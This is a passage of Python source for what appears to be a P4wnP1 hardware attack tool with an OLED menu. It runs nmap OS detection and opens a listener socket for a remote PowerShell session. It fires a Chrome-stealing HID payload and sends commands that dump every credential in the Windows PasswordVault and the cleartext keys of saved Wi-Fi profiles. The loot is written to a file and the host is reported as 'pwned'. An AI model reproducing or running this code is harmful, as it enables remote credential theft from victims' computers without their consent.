draw.text((75, line7-5), "30", font=font, fill=255)
else: # button is pressed:
draw.ellipse((70,40,90,60), outline=255, fill=1) #A button filled
shell("P4wnP1_cli trigger send -n \"oled\" -v 30")
draw.text((25, line4+2), "Go", font=font, fill=255)
#time.sleep(0.1)
def Osdetection():
DisplayText(
"",
"",
"",
" PLEASE WAIT",
"",
"",
""
)
os=IdentOS("172.16.0.2")
detail=OsDetails("172.16.0.2")
while GPIO.input(KEY_LEFT_PIN):
DisplayText(
"Experimental nmap OS",
"detection",
"",
os.replace("Microsoft","MS").replace("Windows","win"),
detail.replace("Microsoft","MS").replace("Windows","win"),
"",
"Press LEFT to exit"
)
def socketCreate():
try:
global host
global port
global s
port = 4445
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = ''
if port == '':
socketCreate()
#socketCreate()
except socket.error as msg:
print('socket creation error: ' + str(msg[0]))
def socketBind():
try:
print('Binding socket at port %s'%(port))
s.bind((host,port))
s.listen(1)
except socket.error as msg:
print('socket bindig error: ' + str(msg[0]))
print('Retring...')
socketBind()
def socketAccept():
global conn
global addr
global hostname
try:
conn, addr = s.accept()
print('[!] Session opened at %s:%s'%(addr[0],addr[1]))
menu2()
except socket.error as msg:
print('Socket Accepting error: ' + str(msg[0]))
def sendps1(ps1file):
f=open(ps1file,"r")
for x in f:
conn.send(x.encode())
result = conn.recv(16834)
print(result.decode())
def menu2():
DisplayText(
"",
"",
"",
" PLEASE WAIT",
"",
"",
""
)
shell("P4wnP1_cli hid job 'GetChrome.js'")
hack = ""
command = "Test-Connection -computer \"google.com\" -count 1 -quiet"
conn.send(command.encode())
result = conn.recv(16834)
if result.decode()[:-6]=="T":
print("Internet is on, on host")
conn.send("hostname".encode())
result = conn.recv(16834)
print(result.decode().replace("\r\n","")[:-1])
hostname = result.decode().replace("\r\n","")[:-1]
command = "[System.IO.DriveInfo]::getdrives() |where-object {$_.VolumeLabel -match \"USBKEY\"}|sort {$_.name} |foreach-object {; echo \"$(echo $_.name)\";}"
conn.send(command.encode())
result = conn.recv(16834)
usbkey = result.decode().replace("\r\n","")[:-1]
print("Usb key detected in : [" +usbkey+"]")
hack = hostname + "\n"
hack = hack + "Passwords windows :\n"
command="$ClassHolder = [Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$VaultObj = new-object Windows.Security.Credentials.PasswordVault;"
conn.send(command.encode())
result = conn.recv(16834)
print(result.decode())
command = "$VaultObj.RetrieveAll() | foreach { $_.RetrievePassword(); $_ }"
conn.send(command.encode())
result = conn.recv(16834)
hack = hack + result.decode()
print(result.decode())
DisplayText(
"",
"",
"GETTING MS EXPLORER",
" PASSWORDS",
"",
"",
""
)
command = "$SSID=((netsh wlan show profiles) -match 'Profil Tous les utilisateurs[^:]+:.(.+)$').replace(\"Profil Tous les utilisateurs\",\"\").replace(\":\",\"\").replace(\" \",\"\").split(\"\\n\");$fin=\"\";"
conn.send(command.encode())
result = conn.recv(16834)
print(result.decode())
command = "for ($n=0;$n -le $SSID.count-1;$n++){try {;$fin = $fin + $SSID[$n]+((netsh wlan show profiles $SSID[$n].Substring($SSID[$n].Length -($SSID[$n].Length -1)) key=clear) -match 'Contenu de la c[^:]+:.(.+)$').split(\":\")[1];} catch {};};$fin"
conn.send(command.encode())
time.sleep(2)
result = conn.recv(16834)
print(result.decode())
hack = hack + "Wifi : \n" + result.decode()
DisplayText(
"",
"",
"GET STORED WIFI SSID",
" PASSWORDS",
"",
"",
""
)
time.sleep(2)
DisplayText(
"",
"",
"GET GOOGLE CHROME",
" PASSWORDS",
"",
"",
""
)
time.sleep(2)
print('end')
#done , let save this on disk
f=open("/root/" + hostname+".txt","w+")
f.write(hack)
f.close()
print(hostname+".txt saved, host is pwned")
while 1:
#cmd = raw_input('PS >')
cmd ='quit'
if cmd == 'quit':
conn.close()
s.close()
while GPIO.input(KEY_LEFT_PIN):
DisplayText(
"DONE HOST PWNED FIND",
"ALL INFOS IN FILE",
"/root/"+hostname+".txt",
"CHOME CREDS are in",
usbkey+hostname+"chrome.txt",
"",
"Press LEFT to Exit"
)
return
#sys.exit()
command = conn.send(cmd)
result = conn.recv(16834)
print(result)
def main():
socketCreate()
socketBind()
socketAccept()
#init vars
curseur = 1
page=0
menu = 1